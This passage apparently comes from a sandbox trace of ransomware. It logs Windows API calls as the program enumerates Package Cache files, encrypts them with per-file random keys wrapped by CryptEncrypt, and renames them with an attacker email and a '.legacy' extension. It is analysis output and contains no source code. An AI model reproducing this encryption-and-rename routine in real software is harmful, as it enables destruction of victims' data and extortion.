pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0144.646] WriteFile (in: hFile=0x7c8, lpBuffer=0x5c39d8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c39d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0144.647] WriteFile (in: hFile=0x7c8, lpBuffer=0x5c3478*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3478*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0144.647] CloseHandle (hObject=0x7c8) returned 1 [0144.647] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c39d8 | out: hHeap=0x520000) returned 1 [0144.647] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3478 | out: hHeap=0x520000) returned 1 [0144.647] MoveFileExW (lpExistingFileName="\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86\\cab1.cab" (normalized: "c:\\users\\all users\\package cache\\{bd95a8cd-1d9f-35ad-981a-3e7925026ebb}v11.0.61030\\packages\\vcruntimeminimum_x86\\cab1.cab"), lpNewFileName="\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86\\cab1.cab.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\all users\\package cache\\{bd95a8cd-1d9f-35ad-981a-3e7925026ebb}v11.0.61030\\packages\\vcruntimeminimum_x86\\cab1.cab.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0144.650] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x563720 | out: hHeap=0x520000) returned 1 [0144.650] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60a990 | out: hHeap=0x520000) returned 1 [0144.650] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60a898 | out: hHeap=0x520000) returned 1 [0144.650] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xf0) returned 0x60a6a8 [0144.650] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60a5b0 | out: hHeap=0x520000) returned 1 [0144.650] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60a0d8 | out: hHeap=0x520000) returned 1 [0144.650] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d398 | out: hHeap=0x520000) returned 1 [0144.650] FindFirstFileW (in: lpFileName="\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd0ae7939, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc3080926, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe12e73da, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x60c858 [0144.650] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x570c48 | out: hHeap=0x520000) returned 1 [0144.650] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x553b80 [0144.650] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5599e0 [0144.650] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x553b80 | out: hHeap=0x520000) returned 1 [0144.650] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e96c8 [0144.650] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0144.651] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x120) returned 0x570c48 [0144.651] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e96c8 | out: hHeap=0x520000) returned 1 [0144.651] GetLastError () returned 0x0 [0144.651] SetLastError (dwErrCode=0x0) [0144.651] GetLastError () returned 0x0 [0144.651] SetLastError (dwErrCode=0x0) [0144.651] GetLastError () returned 0x0 [0144.651] SetLastError (dwErrCode=0x0) [0144.651] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574b38 [0144.651] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d6b8 [0144.651] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d6b8 | out: hHeap=0x520000) returned 1 [0144.651] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x6101f8 [0144.651] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x60cad8 [0144.651] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60cad8 | out: hHeap=0x520000) returned 1 [0144.651] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e20300 [0144.651] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20300 | out: hHeap=0x520000) returned 1 [0144.651] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x6101f8 | out: hHeap=0x520000) returned 1 [0144.651] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574b38 | out: hHeap=0x520000) returned 1 [0144.651] FindNextFileW (in: hFindFile=0x60c858, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd0ae7939, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc3080926, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe12e73da, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0144.651] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x570c48 | out: hHeap=0x520000) returned 1 [0144.651] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x553b80 [0144.651] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5599e0 [0144.651] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x553b80 | out: hHeap=0x520000) returned 1 [0144.651] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e9218 [0144.651] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0144.651] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x120) returned 0x570c48 [0144.651] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e9218 | out: hHeap=0x520000) returned 1 [0144.651] GetLastError () returned 0x0 [0144.651] SetLastError (dwErrCode=0x0) [0144.652] GetLastError () returned 0x0 [0144.652] SetLastError (dwErrCode=0x0) [0144.652] GetLastError () returned 0x0 [0144.652] SetLastError (dwErrCode=0x0) [0144.652] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574c18 [0144.652] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d0e0 [0144.652] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d0e0 | out: hHeap=0x520000) returned 1 [0144.652] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x6101a8 [0144.652] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x60c658 [0144.652] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60c658 | out: hHeap=0x520000) returned 1 [0144.652] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e20300 [0144.652] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20300 | out: hHeap=0x520000) returned 1 [0144.652] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x6101a8 | out: hHeap=0x520000) returned 1 [0144.652] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574c18 | out: hHeap=0x520000) returned 1 [0144.652] FindNextFileW (in: hFindFile=0x60c858, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4bd6800, ftCreationTime.dwHighDateTime=0x1ced51c, ftLastAccessTime.dwLowDateTime=0xa4bd6800, ftLastAccessTime.dwHighDateTime=0x1ced51c, ftLastWriteTime.dwLowDateTime=0xa4bd6800, ftLastWriteTime.dwHighDateTime=0x1ced51c, nFileSizeHigh=0x0, nFileSizeLow=0xc5b25, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="cab1.cab", cAlternateFileName="")) returned 1 [0144.652] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x570c48 | out: hHeap=0x520000) returned 1 [0144.652] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5538b0 [0144.652] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5599e0 [0144.652] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5538b0 | out: hHeap=0x520000) returned 1 [0144.652] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e88b8 [0144.652] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0144.652] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x120) returned 0x570c48 [0144.652] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e88b8 | out: hHeap=0x520000) returned 1 [0144.652] GetLastError () returned 0x0 [0144.652] SetLastError (dwErrCode=0x0) [0144.652] GetLastError () returned 0x0 [0144.652] SetLastError (dwErrCode=0x0) [0144.652] GetLastError () returned 0x0 [0144.652] SetLastError (dwErrCode=0x0) [0144.652] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x610338 [0144.652] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x610338 | out: hHeap=0x520000) returned 1 [0144.653] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c39d8 [0144.653] FindNextFileW (in: hFindFile=0x60c858, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe12e73da, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xe12e73da, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xe12e73da, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0144.653] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x570c48 | out: hHeap=0x520000) returned 1 [0144.653] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x553b80 [0144.653] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559270 [0144.653] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x553b80 | out: hHeap=0x520000) returned 1 [0144.653] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e9600 [0144.653] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559270 | out: hHeap=0x520000) returned 1 [0144.653] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x120) returned 0x570c48 [0144.653] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e9600 | out: hHeap=0x520000) returned 1 [0144.653] GetLastError () returned 0x0 [0144.653] SetLastError (dwErrCode=0x0) [0144.653] GetLastError () returned 0x0 [0144.653] SetLastError (dwErrCode=0x0) [0144.653] GetLastError () returned 0x0 [0144.653] SetLastError (dwErrCode=0x0) [0144.653] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x6101d0 [0144.653] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x6101d0 | out: hHeap=0x520000) returned 1 [0144.653] FindNextFileW (in: hFindFile=0x60c858, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x683e3c00, ftCreationTime.dwHighDateTime=0x1ced51d, ftLastAccessTime.dwLowDateTime=0x683e3c00, ftLastAccessTime.dwHighDateTime=0x1ced51d, ftLastWriteTime.dwLowDateTime=0x683e3c00, ftLastWriteTime.dwHighDateTime=0x1ced51d, nFileSizeHigh=0x0, nFileSizeLow=0x25000, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="vc_runtimeMinimum_x64.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 1 [0144.653] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x570c48 | out: hHeap=0x520000) returned 1 [0144.653] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5538b0 [0144.653] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5599e0 [0144.653] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5538b0 | out: hHeap=0x520000) returned 1 [0144.653] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e9218 [0144.653] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0144.653] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x120) returned 0x570c48 [0144.653] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e9218 | out: hHeap=0x520000) returned 1 [0144.653] GetLastError () returned 0x0 [0144.653] SetLastError (dwErrCode=0x0) [0144.653] GetLastError () returned 0x0 [0144.654] SetLastError (dwErrCode=0x0) [0144.654] GetLastError () returned 0x0 [0144.654] SetLastError (dwErrCode=0x0) [0144.654] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5538b0 [0144.654] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5538b0 | out: hHeap=0x520000) returned 1 [0144.654] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x120) returned 0x563720 [0144.654] FindNextFileW (in: hFindFile=0x60c858, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x683e3c00, ftCreationTime.dwHighDateTime=0x1ced51d, ftLastAccessTime.dwLowDateTime=0x683e3c00, ftLastAccessTime.dwHighDateTime=0x1ced51d, ftLastWriteTime.dwLowDateTime=0x683e3c00, ftLastWriteTime.dwHighDateTime=0x1ced51d, nFileSizeHigh=0x0, nFileSizeLow=0x25000, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="vc_runtimeMinimum_x64.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 0 [0144.654] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x120) returned 0x570858 [0144.654] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c4a58 [0144.654] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c34b8 [0144.654] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0144.654] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34b8 | out: pbBuffer=0x5c34b8) returned 1 [0144.654] SetFileAttributesW (lpFileName="\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64\\vc_runtimeMinimum_x64.msi", dwFileAttributes=0x80) returned 1 [0144.654] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x120) returned 0x571fc8 [0144.654] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1ae) returned 0x5646a8 [0144.654] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x571fc8 | out: hHeap=0x520000) returned 1 [0144.654] CreateFileW (lpFileName="\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64\\vc_runtimeMinimum_x64.msi" (normalized: "c:\\users\\all users\\package cache\\{cf2bea3c-26ea-32f8-aa9b-331f7e34ba97}v11.0.61030\\packages\\vcruntimeminimum_amd64\\vc_runtimeminimum_x64.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7cc [0144.655] GetFileSizeEx (in: hFile=0x7cc, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=151552) returned 1 [0144.655] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x25000) returned 0x2f40858 [0144.655] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x25000) returned 0x2e81f40 [0144.656] ReadFile (in: hFile=0x7cc, lpBuffer=0x2f40858, nNumberOfBytesToRead=0x25000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2f40858*, lpNumberOfBytesRead=0x2e1f9bc*=0x25000, lpOverlapped=0x0) returned 1 [0144.686] SetFilePointer (in: hFile=0x7cc, lDistanceToMove=-151552, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0144.686] WriteFile (in: hFile=0x7cc, lpBuffer=0x2e81f40*, nNumberOfBytesToWrite=0x25000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2e81f40*, lpNumberOfBytesWritten=0x2e1f9bc*=0x25000, lpOverlapped=0x0) returned 1 [0144.686] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f40858 | out: hHeap=0x520000) returned 1 [0144.686] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e81f40 | out: hHeap=0x520000) returned 1 [0144.689] SetFilePointer (in: hFile=0x7cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x25000 [0144.689] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0144.689] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0144.689] WriteFile (in: hFile=0x7cc, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0144.689] WriteFile (in: hFile=0x7cc, lpBuffer=0x5c34b8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34b8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0144.690] CloseHandle (hObject=0x7cc) returned 1 [0144.690] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c4a58 | out: hHeap=0x520000) returned 1 [0144.690] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c34b8 | out: hHeap=0x520000) returned 1 [0144.690] MoveFileExW (lpExistingFileName="\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64\\vc_runtimeMinimum_x64.msi" (normalized: "c:\\users\\all users\\package cache\\{cf2bea3c-26ea-32f8-aa9b-331f7e34ba97}v11.0.61030\\packages\\vcruntimeminimum_amd64\\vc_runtimeminimum_x64.msi"), lpNewFileName="\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64\\vc_runtimeMinimum_x64.msi.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\all users\\package cache\\{cf2bea3c-26ea-32f8-aa9b-331f7e34ba97}v11.0.61030\\packages\\vcruntimeminimum_amd64\\vc_runtimeminimum_x64.msi.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0144.692] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5646a8 | out: hHeap=0x520000) returned 1 [0144.692] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x570858 | out: hHeap=0x520000) returned 1 [0144.692] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x563720 | out: hHeap=0x520000) returned 1 [0144.692] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c5190 [0144.692] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c4a58 [0144.693] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c34b8 [0144.693] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0144.693] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34b8 | out: pbBuffer=0x5c34b8) returned 1 [0144.693] SetFileAttributesW (lpFileName="\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64\\cab1.cab", dwFileAttributes=0x80) returned 1 [0144.693] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c5298 [0144.693] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0144.693] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c5298 | out: hHeap=0x520000) returned 1 [0144.693] CreateFileW (lpFileName="\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64\\cab1.cab" (normalized: "c:\\users\\all users\\package cache\\{cf2bea3c-26ea-32f8-aa9b-331f7e34ba97}v11.0.61030\\packages\\vcruntimeminimum_amd64\\cab1.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7cc [0144.693] GetFileSizeEx (in: hFile=0x7cc, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=809765) returned 1 [0144.693] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc5b25) returned 0x6f9020 [0144.695] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc5b25) returned 0x3123020 [0144.697] ReadFile (in: hFile=0x7cc, lpBuffer=0x6f9020, nNumberOfBytesToRead=0xc5b25, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x6f9020*, lpNumberOfBytesRead=0x2e1f9bc*=0xc5b25, lpOverlapped=0x0) returned 1 [0144.832] SetFilePointer (in: hFile=0x7cc, lDistanceToMove=-809765, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0144.832] WriteFile (in: hFile=0x7cc, lpBuffer=0x3123020*, nNumberOfBytesToWrite=0xc5b25, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3123020*, lpNumberOfBytesWritten=0x2e1f9bc*=0xc5b25, lpOverlapped=0x0) returned 1 [0144.834] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x6f9020 | out: hHeap=0x520000) returned 1 [0144.839] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x3123020 | out: hHeap=0x520000) returned 1 [0144.843] SetFilePointer (in: hFile=0x7cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xc5b25 [0144.843] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0144.843] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0144.843] WriteFile (in: hFile=0x7cc, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0144.843] WriteFile (in: hFile=0x7cc, lpBuffer=0x5c34b8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34b8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0144.844] CloseHandle (hObject=0x7cc) returned 1 [0144.844] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c4a58 | out: hHeap=0x520000) returned 1 [0144.844] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c34b8 | out: hHeap=0x520000) returned 1 [0144.844] MoveFileExW (lpExistingFileName="\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64\\cab1.cab" (normalized: "c:\\users\\all users\\package cache\\{cf2bea3c-26ea-32f8-aa9b-331f7e34ba97}v11.0.61030\\packages\\vcruntimeminimum_amd64\\cab1.cab"), lpNewFileName="\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64\\cab1.cab.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\all users\\package cache\\{cf2bea3c-26ea-32f8-aa9b-331f7e34ba97}v11.0.61030\\packages\\vcruntimeminimum_amd64\\cab1.cab.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0144.849] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x571fc8 | out: hHeap=0x520000) returned 1 [0144.849] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c5190 | out: hHeap=0x520000) returned 1 [0144.849] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c39d8 | out: hHeap=0x520000) returned 1 [0144.849] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xf0) returned 0x60a5b0 [0144.849] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60a6a8 | out: hHeap=0x520000) returned 1 [0144.849] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60a3c0 | out: hHeap=0x520000) returned 1 [0144.849] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d3e8 | out: hHeap=0x520000) returned 1 [0144.849] FindFirstFileW (in: lpFileName="\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdc8267ac, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xdc84ca0a, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xe12e73da, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName=".", 